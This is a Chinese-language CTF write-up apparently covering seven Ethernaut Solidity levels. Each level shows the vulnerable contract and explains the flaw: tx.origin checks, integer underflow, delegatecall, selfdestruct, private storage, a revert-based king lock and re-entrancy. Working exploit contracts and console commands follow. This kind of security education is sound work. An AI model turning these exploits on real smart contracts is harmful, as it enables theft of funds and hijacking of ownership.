Telephone
闯关要求
获取合约的owner权限
合约代码
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
合约分析
前面是个构造函数,把owner赋给了合约的创建者,照例看了一下这是不是真的构造函数,确定没有问题,下面一个changeOwner函数则检查tx.origin和msg.sender是否相等,如果不一样就把owner更新为传入的_owner。
这里涉及到了tx.origin和msg.sender的区别,前者表示交易的发送者,后者则表示消息的发送者,如果情景是在一个合约下的调用,那么这两者是木有区别的,但是如果是在多个合约的情况下,比如用户通过A合约来调用B合约,那么对于B合约来说,msg.sender就代表合约A,而tx.origin就代表用户,知道了这些那么就很简单了,和上一个题目一样,我们这里需要另外部署一个合约来调用这儿的changeOwner:
Exploit:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
Telephone target = Telephone(your instance address);
function hack(){
target.changeOwner(msg.sender);
}
}
攻击流程
点击“Get new Instance”来获取一个实例:
之后查看合约的地址:
之后用上面的地址替换exploit中的地址,最终的exp如下
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
Telephone target = Telephone(0x932b6c14f6dd1a055206b0784f7b38d2217d30e5);
function hack(){
target.changeOwner(msg.sender);
}
}
之后在remix中编译合约:
部署合约:
之后查看原合约的owner地址:
之后点击“hack”来实施攻击:
之后成功变换合约的owner
之后点击“submit instance”来提交示例即可:
Token
闯关要求
玩家初始有token20个,想办法黑掉这个智能合约来获取得更多Token!
合约代码
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
合约分析
此处的映射balance代表了我们拥有的token,然后通关构造函数初始化了owner的balance,虽然不知道是多少,下面的transfer函数的功能为转账操作,最下面的balanceOf函数功能为查询当前账户余额。
通过粗略的一遍功能查看之后我们重点来看此处的transfer()函数
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
在该函数中最为关键第一处就是\\”require\\”校验,此处可以通过“整数下溢”来绕过检查,同时这里的balances和_value都是无符号整数,所以无论如何他们相减之后值依旧大于0(在相等的条件下为0)。
那么在当前题目条件下(题目中token初始化为20),所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 – 1
攻击流程
点击“Get new instance”来获取一个实例
之后调用transfer函数向玩家地址转币:
之后等交易完成之后,我们可以看到玩家的代币数量会变得非常非得多,和我们之前预期的一样:
之后我们点击“submit instance”提交答案即可:
Delegation
闯关要求
获取合约的owner权限。
合约代码
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
合约分析
在这里我们看到了两个合约,Delegate初始化时将传入的address设定为合约的owner,下面一个pwn函数也引起我们的注意,从名字也能看出挺关键的。
之后下面的Delegation合约则实例化了上面的Delegate合约,其fallback函数使用了delegatecall来调用其中的delegate合约,而这里的delegatecall就是问题的关键所在。
我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:
1、call 的外部调用上下文是外部合约
2、delegatecall 的外部调用上下是调用合约上下文
3、callcode() 其实是 delegatecall() 之前的一个版本,两者都是将外部代码加载到当前上下文中进行执行,但是在 msg.sender 和 msg.value 的指向上却有差异。
在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。
经过上面的简要分析,问题就变很简单了,sha3我们可以直接通过web3.sha3来调用,而delegatecall在fallback函数里,我们得想办法来触发它,前面已经提到有两种方法来触发,但是这里我们需要让delegatecall使用我们发送的data,所以这里我们直接用封装好的sendTransaction来发送data,其实到了这里我也知道了前面fallback那关我们也可以使用这个方式来触发fallback函数:
contract.sendTransaction({data:web3.sha3(\\\"pwn()\\\").slice(0,10)});
攻击流程
点击“get new instance”来获取一个实例
之后通过fallback函数里的delegatecall来调用pwn函数更换owner:
之后点击“submit instance”来提交答案
Force
闯关要求
让合约的balance比0多
合约代码
pragma solidity ^0.4.18;
contract Force {/*
MEOW ?
/\\\\_/\\\\ /
____/ o o \\\\
/~____ =?= /
(______)__m_m)
*/}
合约分析
第一眼看上去——懵了,这是什么呀?一个猫???,合约Force中竟然没有任何相关的合约代码,感觉莫名奇妙。。。
经过查看资料,发现在以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点,这里确实是比较有趣了。
那么接下来就非常简单了,我们只需要创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给我们的目标合约就行了。
攻击流程
点击“Get new Instance”来获取一个实例:
之后获取合约地址
之后创建一个合约并存点eth进去然后调用selfdestruct将合约里的eth发送给目标合约:
pragma solidity ^0.4.20;
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
编译合约
部署合约
之后调用“ForceSendEther()”函数,并传入合约的地址:
交易成功之后,再次查看合约的额度发现——“非零”
之后点击“submit instance”进行提及案例即可:
Vault
闯关要求
解锁用户。
合约代码
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
合约分析
从代码里可以看到我们需要得到它的密码来调用unlock函数以解锁合约,而且我们注意到在开始它是直接定义存储了password的,虽然因为是private我们不能直接看到,然而我们要知道这是在以太坊上,这是一个区块链,它是透明的,数据都是存在块里面的,所以我们可以直接拿到它。
这里通过getStorageAt函数来访问它,getStorageAt函数可以让我们访问合约里状态变量的值,它的两个参数里第一个是合约的地址,第二个则是变量位置position,它是按照变量声明的顺序从0开始,顺次加1,不过对于mapping这样的复杂类型,position的值就没那么简单了。
攻击流程
点击“Get new Instance”之后获取一个实例
之后在console下运行以下代码:
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
之后进行解锁:
contract.unlock(\\\"A very strong secret password :)\\\")
之后点击“submit”来提交答案:
King
闯关要求
合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。
合约代码
pragma solidity ^0.4.18;
import \\\'zeppelin-solidity/contracts/ownership/Ownable.sol\\\';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
合约分析
从上面的代码中可以看到当国王被推翻时国王将会获得奖金,那么只要国王拒绝接受奖金就可以一直是国王。
通过上面的代码分析,我们可以部署以下攻击合约,当原智能合约有新的king诞生时会向我们的合约退还之前的奖金,但是攻击合约不接收,直接revert()那么就可以永远占据合约的king不放:
pragma solidity ^0.4.18;
contract attack{
function attack(address _addr) public payable{
_addr.call.gas(10000000).value(msg.value)();
}
function () public {
revert();
}
}
攻击流程
点击“Get new Instance”来获取一个实例:
之后先来查看一下prize值以及合约的king、合约的地址
之后我们在remix中编译并部署攻击合约:
合约部署地址:
之后再次查看king,发现已经变成了我们攻击合约的地址:
之后我们点击“submit instance”来提交该实例:
之后成功过关,当我们查看king时发现依旧是我们的攻击合约的地址:
Re-entrancy
闯关要求
盗取合约中的所有代币。
合约代码
pragma solidity ^0.4.18;
import \\\'openzeppelin-solidity/contracts/math/SafeMath.sol\\\';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
合约分析
从上面的源代码可以确定这里应该为以太坊里的重入攻击,这也是之前The DAO事件里黑客所用到的攻击。
在这里我们重点来看withdraw函数,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数来实现。
当然,这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的,如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多。
根据上面的简易分析,我们可以编写一下EXP代码:
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
攻击流程
点击“Get new Instance”来获取一个实例:
之后获取instance合约的地址
之后在remix中部署攻击合约
我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:
contract.donate.sendTransaction(\\\"0xeE59e9DC270A52477d414f0613dAfa678Def4b02\\\",{value: toWei(1)})
这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了:
查看balance,在交易前后的变化:
最后点击“submit instance”来提交示例即可:
下篇后续奉上,敬请期待~
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34158.html